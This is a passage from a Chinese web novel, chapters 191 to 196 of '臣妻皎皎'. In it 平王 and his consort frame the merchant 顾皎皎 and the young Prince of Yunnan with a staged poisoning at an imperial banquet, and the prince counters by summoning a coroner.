“废物,一群废物。” 平王在房间内不停的踱着步,怒火似是要将面前跪着的黑衣人燃烧一般。 “王爷息怒,是小的们无用,低估小云南王以及他身边的侍卫,请王爷再给我们一次机会,定不会让王爷失望。” 平王又训斥了几句,才让这人离开。 平王从未将沈云祉放在眼里,如今要除掉却这般艰难,他伏在案上,气愤,不甘的情绪在他脸上那般明显。 正在此时,房门被敲响。 “滚。” 平王怒吼出声。 “王爷,是妾身。” 平王妃的声音从门外响起。 平王眉宇间的怒气散了些许。 “进来吧。” 他也并未想到,夜已如此深,平王妃还未歇息,现下过来,怕是有事相商。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十一章 看看热闹 平王妃能漏夜前来,自然是知道平王所行之事不顺。 “这是妾身亲手煮的参汤,夜已深不适合饮太腻之物,妾身特意加了荷叶,王爷尝尝。” 平王妃端着一碗走进来,放在平王的案上。 未将小云南王一举拿下,平王心里依旧存有怒气,看着那参汤便摆了摆手。 “小云南王自幼陪云南王驻守云南,也算是杀伐果断之人,若是不能将他一举拿下,便再想其他办法就是。” 平王妃笑意盈盈,似是不曾将这些放在心上一般,却也让云南王看到了她的胸有成竹。 “王妃的意思是……” “妾身听闻小云南王向皇上举荐了一家酒楼来办宴席,既是普天同庆,妾身身为平王妃也自当出份力。” 平王妃停顿了一下,将参汤递到了平王手上,才继续说了下去。 “捐些银钱,也让百姓知道这宴席与小云南王有关,若是出了什么事,第一个担责的又会是谁呢?” 话音落下,平王顿时喜笑颜开,将手中的参汤立即喝下。 “娶妻当娶贤,王妃便是世间最贤慧之人。” 平王出言称赞,平王妃笑而不语,伸出纤细的手指勾住平王腰间的带子。 “夜已深,妾身服侍王爷歇息吧。” 一抹娇媚袭上平王妃的脸颊,平王大笑出声,直接将平王妃抱起,也不回卧房,只在书房内便熄了灯。 李嬷嬷守在门外,听着里面的动静,不自觉的离房门远了些。 翌日。 天还未亮顾皎皎便如昨日一般又开始准备,每一日的宴席都不同,祈福方式也不一样,但每一日,她都尽心尽力,考虑周全,以免出什么乱子。 “京城的百姓都说姑娘厉害,甚至比许多儿郎都要强上许多。” 莺儿这些时日接触的人多,听到对她家姑娘的称赞也多,不免跟着有些得意。 “这次的事若是办得好,日后我们的生意便可与皇商有些牵扯,此时累一些也是值得的。” 顾皎皎今日穿了一件嫩绿色衣衫,上面的牡丹刺绣是出自霓裳阁,精致又不失淡雅,裙摆随风微动,给人一种灵动的感觉。 “姑娘说的是,”莺儿说着时打量了一下顾皎皎,又缓缓开口,“姑娘平日里不爱穿亮色衣衫,这红色绿色多配姑娘,鲜艳明亮。” 顾皎皎也低头看了一眼这衣裙,确实与以往不同。 “如今天气渐凉,这嫩绿色已显得有些不太合适,今日穿上也是为了给霓裳阁做些宣传。” 顾皎皎思虑周全。 近几日应该是整个京城最热闹的日子了,无论是平头百姓还是豪门世家都在关注,若说招牌,那顾皎皎将这衣衫穿在身上,便是活招牌。 “我家姑娘就是冰雪聪明。” 莺儿不住口的夸赞,惹得顾皎皎都有些不好意思。 “好了,时候不早了,快去帮忙。” 朝阳缓缓升起,天边的一抹暗黄泛着红色,可以看着那圆圆的太阳一点点升起,阳光普照大地,似是希望,也似是喜庆。 顾皎皎迎着阳光,微微扬起嘴角,侧目间看到茶楼二楼一抹熟悉的身影。 他就那样站在那里,微昂着头,未发一言,未有其他举动,都可以给人一种矜贵的感觉,阳光洒在他的脸上,使那五官的轮廓更为清晰。 顾皎皎撞上那人的目光,呼吸一滞。 她竟不知,沈云祉是何时来的此处。 顾皎皎迟疑了一会儿还是走进了茶楼,命人备好茶,她亲自带到了兰厅。 “这是从第一楼带来的雨前龙井,小王爷尝尝。” 这一次,顾皎皎未行礼,径直走到沈云祉身边后,便斟了一杯茶递了过去。 沈云祉右臂受伤,虽不重,却也是剑伤,便抬起左手接下了那杯茶。 “小云南王这般早过来,可是有事要交代?” 顾皎皎迟疑着,还是问出了心中的疑虑,毕竟,这小云南王定不会是日日来此赏景的。 “无事,此处赏景不错。” 沈云祉不知顾皎皎内心的想法,自然也不懂为何在他话音落下之时,顾皎皎为何一脸惊恐。 “怎么?你不愿本王前来?看你这神情,似是本王会吃人一般。” 他半开着玩笑,浅尝着杯中的茶,茶香四溢,久久未散,的确是好茶。 “不敢,只是觉得小云南王这般来是辛苦了些。” 顾皎皎立即回过神来随意找了一个借口敷衍。 “你只管忙你的便是,不必理会本王。” 茶楼下的人渐渐多了起来,已经是第二日,却并没有减少的迹象。 沈云祉侧目,看向楼下,似是并不在意顾皎皎此时离去一般。 这样也好,顾皎皎每次与沈云祉单独相处都不免有些紧张,还是离得远些的好。 “是,那……” “姑娘不好了,不好了。” 顾皎皎的话还未说完,莺儿就闯了进来,气喘吁吁,一脸焦急。 顾皎皎有些尴尬,清了清嗓子。 “何事如此焦急,太过失礼了。” 她故作微怒提醒着莺儿,可莺儿却顾不得什么小云南王,立马开口。 “姑娘,平王妃来了,指名要见你。” 平王妃? 外界传言,平王妃也是出自名门,自有她的傲气,身份又如此贵重,自是不屑与她这等商户女子有什么接触,难不成是来找麻烦的? 想着,顾皎皎的面色微微凝重,侧身冲沈云祉行了个礼。 “小云南王安坐,我先告退了。” “等等。” 沈云祉却在此时走到顾皎皎面前,唇上挂上的笑意显出一丝邪魅。 “本王随你一起去,看看热闹。” 不等顾皎皎拒绝,沈云祉便率先踏出门。 顾皎皎心里不愿,她若是此时和小云南王一同出现,不知又会引发多少流言,可她又知沈云祉的性子,终究也是没有说出口。 他们二人下来时,平王妃就在马车旁等待着。 平王妃看上去温和从容,也算是一个美人,到底是世家女子,一颦一笑皆显露着高贵典雅。 “见过平王妃,不知王妃前来有远迎,还望王妃恕罪。” 顾皎皎只是平民,眼前的人是王妃,她依礼半跪下行了个大礼,至少让别人挑不出错漏。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十二章 共进退 “平王妃安好。” 沈云祉抱拳行礼。 “今日倒是巧,小云南王竟也在此。” 平王妃看似随和的与沈云祉打着招呼,但却并未让半跪在地上的顾皎皎起身。 “皇上开恩,置办了这盛大的宴席,小王闲来无事,最爱凑个热闹。” 沈云祉扯动嘴角,答的随意,目光却刻意扫向地上的顾皎皎。 平王妃似是刚反应过来一般,立即出声。 “哟,只顾着和小云南王说话,竟忘了你还拘着礼呢,顾姑娘快快请起。” 平和,从容,丝毫没有王妃的傲慢与架子,可在场的人无一不是人精,又怎会看不出这是平王妃给顾皎皎的下马威? “多谢王妃,不知王妃今日前来,可是有什么吩咐?” 顾皎皎缓缓起身,依旧保持着谦和有礼,她是生意人,自然知道这些高官贵族是得罪不起的,今日平王妃前来,自然也是来者不善。 “顾姑娘言重了,哪里谈得上什么吩咐。” 平王妃转头看了一眼身边的冬儿,冬儿心领神会,命人不知从哪里搬来一把椅子放到一边的廊下。 平王妃抬起手,用手帕轻捂口鼻,显然对此地的味道与尘土有些无法适应。 “是我耳目不够灵通,昨日才听说了有关宴席之事,平王公务繁忙,便让我来瞧一瞧。” “如此盛大的宴席是喜事,能与百姓同乐,普天同庆更是喜事,自然这样盛大的场面想来花销也不会少,平王的意思是,平王府虽俸禄微薄,却也想出份力。” 话音落下,平王妃摆了摆手,身后有几个家丁模样的人抬上来两个大箱子,箱子打开,便是满满两箱白花花的银子。 顾皎皎也算是见多识广,可是这样的场面,却从未见过。 “王妃恕罪,民女代办这宴席也是收了银两,万万不敢再收王妃这些。” 她自是要拒绝的,因着安阳候府,想来这平王府的任何人都不会对她好感,更别说上门送银子的好事了。 “顾姑娘莫要急着拒绝,这只是一千两白银,算不得重礼,这银钱也不是给你的,而是平王府想借着你这场面做些善事。” 平王妃的意思是可将这银送给那些贫苦之人,若是一家家送自是麻烦,不如就让顾皎皎借着这宴席送出去,也算搏得一个好名声。 可这样的事顾皎皎怎敢沾手? 先不说这些银钱的作用有多大,便是在这许多人面前散银子,便足以引起混乱,岂是她一介商女可以控制得住的。 顾皎皎不能直面顶撞平王妃,也无法应下此事,一时为难。 “王妃也太抬举顾姑娘,她无权无势,怎担得起如此重任?” 沈云祉向前两步,玩味的笑挂在嘴角,余光瞟向顾皎皎时,也清楚的看到她松了一口气。 “小云南王何以这般说顾姑娘?我倒是瞧着,顾姑娘能力出众,聪慧过人。” “王妃对她可不够了解,她也只是会算账罢了,不过,王妃的心思倒是难得,不可拒绝,本王想,平王妃若是信得过,不如将此事交给本王来办,如何?” 沈云祉揽下了这个费力不讨好的差事。 平王妃心里暗骂,面上却并未表现出来,晶莹的眸子伪装出一抹惊喜。 “若是这般,岂不是劳烦了小云南王?” “平王妃不必客气,说起来,这也是一桩善事,经了小王之手,也是积福积德的好事。” 话毕,沈云祉便抬手将双瑞招了过来。 “你现在去将用这些银两换成米面盐油,分发给百姓,要有账可查,仔细着些。” “是。” 双瑞立即带人将那两箱银子抬走。 “小云南王这是……” 平王妃心里愤恨不已,却还要伪装一下。 “如今是天下盛世,贫苦之人也不算多,若真是分银子,怕会引起动乱,不如换成日常必需品,让贫苦的百姓真的吃的饱,平王妃觉得如何?” 沈云祉看似是在询问,可是明明已经交代人去办了。 平王妃暗暗的咬了咬牙,这个小云南王着实难以对付。 “小云南王说的是,是本王妃思虑不周了。” 平王妃不欲与沈云祉过多纠缠,抬眼看向低头站在一边的顾皎皎。 “早些时候便对顾姑娘有所耳闻,虽身为女子,却将生意打理的如此繁盛,少有人比,就像此次宴席,竟也办得如此妥贴,实在另人钦佩。” 这突如其来的称赞又是让顾皎皎心里一紧。 她立即上前,未抬起眼。 “平王妃过誉了,民女只是商人未见过什么世面,办下此宴席,也只是依旧规矩而已,不敢居功。” 她想着,尽量让自己表现的谦和一些,少惹一些麻烦才是。 “顾姑娘何必自谦,我也是听闻,为着这第一楼,小云南王可是在皇上面前力荐,想来自然是有过人之处。” 平王妃说着看了看不远处,她的人已经在百姓间暗中散播消息,传的便是小云南王力保顾皎皎与第一楼之事。 自然,此时顾皎皎与沈云祉都还不知情。 “当然了,小云南王霁月高风,能得如此举荐,你也要多多用心才是,毕竟宴席盛大,若是出了什么事,也是会连累小王爷的。” 这才是重点。 顾皎皎心底似是有什么东西突然压下,看了一眼沈云祉后立即朝平王妃欠身行了个礼。 “平王妃言重了,若是因民女未办好宴席,民女自是一力承担,不敢拖累小王爷。” 听着这话,沈云祉漆黑的眸子里都袭满笑意,她这是在维护他,倒是难得。 “顾姑娘此言差矣,人言可畏,这宴席毕竟是皇家所办,小云南王这举荐之人又怎能脱得了干系?” 平王妃步步紧逼,致使顾皎皎一时无言反驳。 “平王妃说的是,小王既敢举荐,自然也担得起这后果,本王可与顾姑娘共进退。” 沈云祉说这话时,与顾皎皎四目相对,他也丝毫不掩饰自己眼中的郑重。 顾皎皎目光躲闪,只那一眼,便让她心跳漏了几下。 “自然了,若是有人故意扰乱这宴席,本王也是绝不会手软的。” 沈云祉适时的补了一句。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十三章 自然是怕的 “小云南王真是说笑了,皇家宴席,谁人敢造次?” 平王妃说着时也缓缓站起身,扫了扫身上并不存在的尘土,才再次看向顾皎皎。 “本王妃觉得与你亲切,便多说了几句,顾姑娘切勿挂怀。” “平王妃金玉良言,民女受益匪浅,定铭记于心。” “你倒是个识趣的,罢了,日头大起来,本王妃也该回府了,告辞。” 平王妃浩浩荡荡带着一群人离开了,说是行善事,但却无比高调。 顾皎皎眉头紧锁,看着那人离开的背影,心里隐隐觉得不安。 “怎么?怕了?” 沈云祉此时还有心情出言打趣她,倒像是一副不在乎的模样。 顾皎皎收回目光。 “自然是怕的,她是平王府的王妃,动动手指就能让我死无葬身之地,若只是我也就罢了,还能搏一搏,可如今牵扯到这宴席还有……” 还有小云南王,但顾皎皎终是没有说出口。 沈云祉知道她要说什么,便也没有追问,只是看着她扬起嘴角。 “人若是想害你,怕是没用的。” 他似是从来都是这般气定神闲的模样。 平王妃上门,自是来者不善,又是送银两,又是将二人牵扯到一起,明摆着是来摆阵的,可是沈云祉却一直都是一副胸有成竹的模样。 顾皎皎打量着他,半晌,才眨巴着大眼睛,小声询问。 “小王爷是否已经有了对策?” 她突然靠近,沈云祉眸子微微收紧,呼吸都停滞一瞬,转而才恢复如常。 “我连他们要做什么都不知道,又哪里来的应对之策?” 说着,沈云祉向身后的茶楼的走去,顾皎皎紧随其后。 顾皎皎低头,一边走路一边思索,丝毫没有注意前面的人已经停下脚步,而她也直直的撞到了那人身上。 好巧不巧,她正撞到了沈云祉受伤的右臂上,出于本能反应,沈云祉撤了手臂,眉头皱起。 顾皎皎立即注意到他的异样。 “小王爷手臂怎么了?” 她想上前查看,沈云祉却后退两步。 “无妨,碰到了而已。” 他声音突然就冷了几分,不等顾皎皎说什么,又继续开口。 “已经开席了,顾姑娘去忙着,本王上去小憩一会儿。” 说完,他头也不回踏入了茶楼。 顾皎皎愣在原地,半晌都没有回过神。 刚刚这人不是还有说有笑吗?怎么转眼间就冷冰冰的,像是变了一个人一样?莫不是将他撞疼了? 顾皎皎想不通,只得先去忙自己的事。 茶楼,兰厅。 沈云祉的胳膊已经渗出了鲜血,浸透了外衫。 双瑞带来新的衣衫,又重新为他上药包扎,这一系列做完后,沈云祉的脸色才好了一些。 “小王爷受如此重伤本该是要好好休息的,实在不该劳动自己来这里,磕磕撞撞无益于小王爷养伤。” 双瑞已然不是第一次这般说了,但每一次都被沈云祉忽略,这次也一样。 “平王妃带来的人不会只是陪同,他们定是暗中做了什么,去查一下。” 沈云祉倚靠在榻上,缓缓闭上双眼,在双瑞准备出门时,他又一次开口。 “让双剑给父亲飞鸽传书,回京路上多加防范,以防有人狗急跳墙。” “是,属下这就去办。” 双瑞自是知道事态的严重性,立即转身出了门。 胳膊处的疼痛还是让沈云祉抿了抿薄唇,顾皎皎撞那一下并不重,只是他这是新的伤口,还未愈合,稍不注意便会再次流血。 他冷言赶走顾皎皎也并不是怪她,只是怕她见这场面,会被吓到。 这是置办宴席的第二日,相比前一日更为热闹,顾皎皎也更为忙碌。 在午时过后,双剑带着人拉了几车物品来到此处,更是大张旗鼓的表明这些米面布匹都是平王妃的心意。 百姓们自是乐不可支,尤其是一些贫苦人家都纷纷排队领取,使这宴席算是锦上添花。 “这平王妃到底是什么意思?她该跟我们水火不容才是啊。” 莺儿不解。 从小云南王与平王的过节,再到安阳王府孙家,最后又涉及到了平王的外室之女徐青青。 这一桩桩一件件,虽说与顾皎皎没有直接关系,倒大多都有牵扯,在此种情况下,平王妃还送来东西,着实让人琢磨不透。 顾皎皎暂时也是想不通,只知道,这不是什么好事。 “小云南王可离开了?” 她抬眼看向茶楼的二楼,并未见到那个熟悉的身影,低声询问。 “没有吧,刚刚还命人送上去了一些茶点,此时应该在休息。” 莺儿猜测着,何况双剑双瑞都还在此忙碌着,想必沈云祉也没有离去。 顾皎皎在心底暗暗沉下一口气,正准备说什么时,有几位夫人朝她走了过来。 “顾掌柜经管碰上第一楼和霓裳阁,当真是辛苦了。” “说起来,还是顾姑娘有本事,这如此大的生意,怕是大家出来的人也无法胜任。” “顾姑娘今日这衣衫是霓裳阁的新品吧,真是好看。” “这衣料,这做工,这刺绣,可不是别家可比的,只是不知这样的衣衫什么时候开售?售价几何啊?” …… 果然,如顾皎皎所料,她只穿上了这衣衫站在这里,便足以吸引京城中的各位夫人小姐,但这也只是第一步。 “几位夫人小姐若是感兴趣可在三日后前往霓裳阁,那里有许多新上的成衣,千人千样,亲自试过才可知哪款是自己最中意的。” 顾皎皎说着时,还扯了扯自己的裙摆,看向众人,眸子里一片真诚。 “对了,霓裳阁还有男衣,诸位夫人可去看看,送郎君送公子,都是很好的。” “竟然有男子的衣衫?顾姑娘莫不是在开玩笑?” “是啊,这在咱们京城可找不出这样的商铺。” 众人自是不信,但在顾皎皎几番言语之下,都似是很期待的模样。 这就是顾皎皎想要的效果。 “各位夫人,小姐,都是极具眼光之人,我若是吹虚岂不是打自己的招牌?这样吧,各位留下名贴,三日后前往霓裳阁,让诸位先试,如何?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十四章 雪上加霜 短短半个时辰,顾皎皎就以一身衣衫招揽了无数生意。 待人群散去后,莺儿才小心翼翼的靠近,不可思议的轻声开口。 “姑娘穿这衣衫时,我还觉得只是为了娇艳,现在才知道,姑娘是有大智慧的。” 莺儿这话是称赞,可顾皎皎却听着有些别扭。 “你家姑娘我,任何时候都有大智慧。” “对了,姑娘,我刚刚看到一件事,不知是否重要。” 莺儿这一惊一乍的,顾皎皎早就习惯了。 “快说,我还忙着呢。” “刚刚双瑞从茶楼上下来,丢弃了一些东西,奴婢恍忽看着似是有血。” 莺儿也并不是很确定,只是扫了一眼,随后那东西便被双瑞带走丢掉了。 “血?” 顾皎皎一脸震惊。 双瑞是从楼上下来的,自是见过沈云祉的,再回想今日沈云祉的异样,好似自见他起,他右边的手臂便不曾动过。 莫不是,受伤了? 顾皎皎抬眼看向楼上,那扇窗子前却并没有那人的身影。 “在找本王?” 沈云祉的声音突然响起,吓了顾皎皎一跳。 “是,今日颇为忙碌,怕对小云南王招待不周。” 这样恭维的话,顾皎皎可以信手拈来。 沈云祉似是看穿她的心思,却也并未拆穿,向前走了两步,与顾皎皎肩并肩站定。 “顾姑娘确实是忙,这皇室的宴席本已让人无暇分身,姑娘却还可以另辟新径,做起了其他生意,当真是不容小视啊。” 沈云祉能说出这样的话,便已然是听到看到刚刚的场面,也算是对顾皎皎的称赞。 此时若是推脱隐瞒,倒会显得顾皎皎小家子气。 “多谢小云南王称赞,若民女是个一般商人,也不敢接下王爷的生意,自然,也入不了小王爷的眼。” 她笑的谦和温婉,云淡风轻的面容挂着淡淡的笑意,似是亲切,却又充满距离感。 只是,她在说话时,也用余光看向沈云祉的胳膊。 此时,顾皎皎才发现,沈云祉竟换了一套衣衫,看样子,莺儿没有看错。 顾皎皎并未向沈云祉询问受伤之事,男子的天地自不会只是这银钱之事,广阔天地,大多也是不好与人说的。 “顾姑娘说的是,你若是太过谦虚了,倒显得本王眼光极差。” 沈云祉是何等人物,对于顾皎皎的打量,他都看在眼里,也知道她有疑惑,却也无需捅破这层窗户纸。 顾皎皎笑着回应,没有再说什么。 天气渐凉,微风拂过,顾皎皎身上的衣衫随风摆动,飘逸更显清新。 沈云祉从她的身上缓缓收回目光,将一抹异样的情绪掩藏在眼底。 “玉荣派人来传话,近几日家中有事,便不来此了。” 小云南王突然提到杜玉荣,让顾皎皎有些意外,她迟疑了片刻才缓缓开口。 “杜大人并不负责此事,不过来也是人之常情。” 她不懂,不来就不来,这沈云祉何故要特意跟她说一嘴。 她自是不知道,她这般回答,沈云祉很是满意,最起码证明他们二人没有其他情愫。 “还有一事,有关安阳候府,想必你会感兴趣。” 小云南王唇边的笑意,足以证明这是一桩‘喜事’。 孙协兆还卧在床榻之上,知道孙老夫人来宴席闹了一场,难得的没有站在他母亲那边,而是责备孙老夫人行事太过鲁莽。 安阳候府闹的鸡犬不宁,这也便罢了,但今日一早便有催债的上门。 孙协兆曾在外借了印子钱,如今期限已到,他却拿不出银钱还上,催债的便上门了,在候府里打砸了一通,最后又给了他们三日的期限。 听着这些,顾皎皎只觉得孙家人是蠢到家了。 “他们自是以为日后能依靠平王府,又有徐青青这个郡主的身份,即使是借了印子钱也是可以归还的。” 顾皎皎心里如明镜一般,毕竟她在孙家的这两年就是这样过来的。 两年的时间,顾皎皎将孙家人养的不知天高地厚,他们便觉得任何女子都可以填他家这个火坑了。 “顾姑娘不去瞧瞧热闹?” 沈云祉微挑眉毛,眼中的笑意更浓。 顾皎皎何尝不知道,他只是在试探,也随之一笑。 “小王爷说笑了,民女如此忙碌,哪里有时间看别人的笑话。” 于她而言,孙家的任何一个人,包括孙协兆,她都不放在眼里了。 沈云祉大笑着转身,又向茶楼走去。 “你第一楼的鸽子汤,本王此时倒是想喝了。” 他丢下这句话,头都没有回。 鸽子汤? 这沈云祉的嘴是刁的。 第一楼的一品鸽子汤文火现煮,起码也要一个时辰以上,这也是这道汤品昂贵的原因。 “莺儿,让人去备吧,把这位小云南侍候好了。” 顾皎皎是咬着牙说的这句话,偏偏她又拿这位小王爷没有任何办法。 宴席的前两日,除了平王妃来过后,便算是顺利度过去了。 但在第三日,问题便出现了,顾皎皎也知道平王妃来此的真正目的。 “你们第一楼真是要钱不要命,明明圣上的好意,你们竟然拿些不干不将的东西出来。” “是啊,昨日吃了你们的饭菜,我腹痛半夜,今早才好一些。” “叫你们掌柜的出来,这件事必须给我们一个说法。” …… 本是快要开席的时候,但突然围上来许多人,纷纷指责着这宴席的种种不是,食材不新鲜,味道差等等。 顾皎皎原是在二楼向沈云祉汇报这两日宴席的情况,还未说完,就发生了这样的事。 不等沈云祉说什么,顾皎皎便离开茶楼,站到了人前。 遇到任何事,她都不能退缩。 “诸位,我可以以第一楼担保,我们所用的食材以及做法等等,都是与第一楼一样的,绝不存在偷工减料之说。” 顾皎皎提高了音量,义正言辞。 但很明显,她的保证没有起到什么作用。 “谁信你的,不知道办这宴席你从中落了多少银两呢。” “我们这么多人的身体都出现了问题,难不成还是冤了你不成?” “你们这些商户,都是黑心肝的。” 本就闹成一团,而正在这时,从人群中又出来几人,雪上加霜。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十五章 情深义重 顾皎皎原本以为他们也只能想出如此愚蠢的办法,可接下来的一幕,让她一时不知该如何应对。 六七个人披麻戴孝的从人群中穿过,哭声震天不说,他们还抬着一个人,盖着白布,显然,那人已经没有了气息。 “就是你们第一楼,害死了我夫君,我要让你们偿命。” “我家只是普通家户,原想着来这宴席讨个好兆头,却不想只是吃了几道,人就这样没了。” “小儿只有四岁,孩儿他爹去了,这让我们孤儿寡母怎么活啊。” 一个妇人瘫坐在地上,一边哭着,一边指责着顾皎皎,若是说妇人的哭喊不足以引起同情,但她身边一个四五岁的孩子,便足以让众人共同声讨顾皎皎。 “这第一楼就是谋财害命,该报官才是。” “打着什么与民同贺的幌子,分明就是敛财,让顾皎皎偿命。” “何止是顾皎皎,皇上举办这宴席是普天同庆,这第一楼可是小云南王推举的,他们二人根本就是沆瀣一气。” “这第一楼出了人命,小云南王也脱不了干系。” 只片刻功夫,这场面已然达到了人声鼎沸的地步。 从始至终,顾皎皎只说了一句话,他们便没有再给她说话的机会,似是已经定了她的罪一般。 顾皎皎是商户出身,即使是成婚后也只是深宅内院里的争斗,如今这地上放着一具尸体,虽是被白布盖着,却也让她后背发凉。 是出了人命的。 “诸位,请听我一言,如若是我第一楼的责任,我定然不会……” “你这贱人说的是什么话?不是你的责任是谁的责任?” “我夫君昨日只是吃了你这宴席的餐食,甚至连酒水都不曾饮用,难不成,还是我们用性命来诬陷你?” “你这商户之女,唯利是图,不就是觉得我们百姓命贱,才会如此吗?” 地上那妇人是极其泼辣的,再加上周围有不少上帮腔,顾皎皎的声音早就被淹没在人潮里。 顾皎皎自知此事不会善终,但无论如何,她也不能担下这罪名。 半晌,她在心底暗暗沉下一口气,转头看向莺儿。 “莺儿,报官。” 这是不是出路她并不知道,但却可以给她一些时间,让她查清此事。 莺儿应下,可正准备离开时,却不知从哪里冒出一队官兵,百姓不曾见过这阵仗,纷纷后退了一眼。 而在那些官兵后,平王迈着四方步,高傲而来。 顾皎皎的心瞬间沉到谷底。 这真是一出大戏,从平王妃出现,再到牵扯到沈云祉,平王可是搭了好大一个戏台。 顾皎皎在无奈之余,心里有股恨意升起,却还是小声跟莺儿说了些什么,莺儿立即悄悄离开。 “见过平王。” 在平王站定之时,顾皎皎还是认认真真的行了个礼。 “顾掌柜不必多礼,说来也巧,今日本王巡视府衙,听说了此事,便带人来看看。” 听说? 巧合? 就是顾皎皎这个当事人都是刚刚才弄清是怎么回事,这平王就巧合的听说了,难不成有千里眼,顺风耳? “是民女处事不当,叨扰平王了。” 顾皎皎客套着。 平王眼底的得意那般明显,只简单的询问那些人几句话,便装出无奈的模样看向顾皎皎。 “原本我们也算是相识,但人命关天,本王也无法徇私,顾姑娘,随本王走一趟吧。” 这便是要定她的罪了。 平王直言要将人带去衙门,牢房里可是有数不胜数的刑罚。 顾皎皎不怕那些,但今日若是被平王带走,就算日后证明是被冤枉,怕也无法说清了。 “请平王明鉴,民女没有做过那些,第一楼的任何餐品也经得起查,请王爷明查。” 顾皎皎强调明查,是因为从始至终平王都没有做任何调查。 可她这样的话,平王根本就像听不到一样。 “顾掌柜真是不见棺材不落泪,本王贵为亲王,什么样的硬骨头没见过?待到了府衙,本王看你是否还能像现在这般嘴硬。” 平王忽的发火,像是顾皎皎是什么十恶不赦的恶人一般,也不等顾皎皎说什么,他便继续说了下去。 “你一介商户之女,想来也没有这样大的胆子,你是小云南王亲自举荐,想必此事背后一定有他的指使。” “平王明查,宴席之事由民女一力操力,小云南王从未参与,自然什么都不知道,平王莫要冤枉了小王爷。” 顾皎皎大声解释着同时,她已然被几个官兵押着,正准备带离。 平王高昂着头,半眯起眼来,笑的更加放肆。 “你倒是对小云南王忠心耿耿,可在本王看来,你这是为虎作伥,来人,此案涉及小云南王,带人,去请。” 平王加重了‘请’这个字,这也意味着他欲对沈云祉下手。 “不可……” “不必了,本王在此。” 顾皎皎的喊声被打断,看着从后面走出来的沈云祉,她不禁瞪大双眼。 她刚刚明明让莺儿通知沈云祉,让他离开,暂避锋芒,可他…… “这个时候,小云南王还出现,不知是有担当,还是情深义重啊。” 平王鄙夷的目光从顾皎皎与沈云祉身上扫过,意图明显。 沈云祉站在原地,缓缓的打了个哈欠,眉眼间尽显慵懒,与此时剑拔弩张的场合显得格格不入。 “平王说的是啊,本王近来浅眠,难得睡一会儿,就被吵到了。” 沈云祉说着时,抬脚缓步走到顾皎皎面前。 此时的顾皎皎有些狼狈,被两个官兵押着,只能半躬着身子,抬眼盯着沈云祉,她未说话,但目光里都是想让沈云祉离开。 沈云祉的唇角挂着若有若无的笑意,漆黑的眸子里闪烁着明亮的光芒,随后抬眼,冰冷的目光投向那两个官兵。 只这一个眼神,那二人便吓得立即松开了顾皎皎,甚至还不自觉的退后两步。 “沈云祉,你做什么?人命关天,你还想造反不成?” 身后的平王顿时怒了,大吼出声,甚至直呼沈云祉的了名字,完完全全已然将他当成了罪人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十六章 人多口杂 周围是一片嘈杂,有平王的骂声,也有百姓的议论声。 顾皎皎听不清,只看着沈云祉那张俊朗的脸在眼前无限放大,看着他在自己的身前,如一棵树为她遮风挡雨。 “既是人命关天,自不可草草了事。” 沈云祉转身看向平王,依旧是淡定自若的模样,扫向地上的草席,那里还躺着一具冰冷的尸体。 “他们说是第一楼害死了人命,平王就信了,那本王说这人还是平王杀死的,平王是否也要朝衙门走一趟?” 若论胡搅蛮缠,沈云祉也是无人可比的。 “放肆,沈云祉,命案之事岂容你在这里混淆是非,况且此事你也脱不了干系,如今案子未定,待我禀报了皇上,怕你连京城都待不下去。” 平王一副胸有成竹的模样。 京城重地,却也是权利中心,在这样的地界,平民自是显得微乎其微,平王自也知道,这等事不足以让沈云祉偿命,但将他赶出京城也未尝不可。 “平王也太心急了。” 沈云祉没头没尾的一句话,让平王怔了下,还未反应过来时,双瑞便带着一人走了过来。 “小王爷,杨大人到了。” 双瑞抱拳汇报。 沈云祉眼中笑意渐浓。 “真是太不巧了,原本是约了杨大人赏画,却不想遇到了这等烦心事,还望大人勿要见怪。” “小云南王客气了,下官今日也是无事,在京城之中也是多年未见此事了。” 杨大人微微躬身,面色沉稳,看不出是喜是忧。 顾皎皎有些意外,接连三日沈云祉都不曾约什么人,今日说约了杨大人,实在有些蹊跷。 紧接着,便证实了顾皎皎的想法。 “对啊,本王都忘了,杨大人可是皇上钦点仵作,这满天下也再没有比杨大人更厉害的人了,不如劳烦大人一次?” 沈云祉似是无意一般的提起。 那杨大人还未说什么,平王却不愿意了。 “沈云祉你胡闹什么?杨大人是宫里的人,身份何等尊贵?怎会为了你而参与这种小事?你当你自己是什么人?” 这杨大人的官职并不高,但却得皇上赏识,京中一些大的案子,验尸查案,都有他的参与,从未出过错漏,自得皇上的器重,朝中之人无人不知无人不晓。 平王阻拦,也有他的道理。 沈云祉却冷笑出声。 “平王真是爱讲笑话,刚刚还说人命关天,怎的现在就是小事了?” 他眸子瞬间冷了几分,抬起眼帘扫过众人,音调也提高了不少。 “本王向来不是和善之人,既有冤屈自会查清,除了这桩命案,刚刚还有人说昨日用了宴席身体不适,不知都有哪些?” “本王这里不只有仵作,还有太医,若是检查出了谁因为宴席有问题,本王会当场赔偿,并处置第一楼掌柜的,若是有其他原因,本王也绝不会善罢甘休。” 沈云祉杀伐果断,不怒自威,立于人前就足以显示他的傲气。 只是,在他话音落下去半晌,竟也未曾有一人站出来,刚刚那些说着要第一楼给出交代的人,甚至都悄悄的退到了人后。 对于这个结果,沈云祉很是满意。 “平王,这也没有证人,如今只剩下这具尸体了,不如我们等一等,先让杨大人忙着?” 沈云祉摆了摆手,身后便有人上前去抬那尸体。 “不可,不可,我夫妻枉死,你们竟然连个全尸也不给他留,是何居心?” “平王替民妇做主啊,孩儿他爹已经是这般模样,若是真的开膛破肚,岂不是让他死都不安宁吗?” “诸位父老乡亲,求大家帮帮我们孤儿寡母吧。” 那妇人哭天抢地,哭闹着不肯让人带走尸体。 平王似是得到助力一般立即上前两步。 “沈云祉,民意更为重要,你莫要仗着自己小云南王的身份为所欲为,何况,就算需要检验尸体,也要先走衙门,要正式的公文,怎可随意这般处置?” 平王怎会不知杨大人的厉害之处,自然也不信,今日杨大人出现只是巧合。 沈云祉却一脸的不屑。 “平王真是菩萨心肠,如此体贴民众,但本王就不一样了,本王就是喜欢恃强凌弱。” 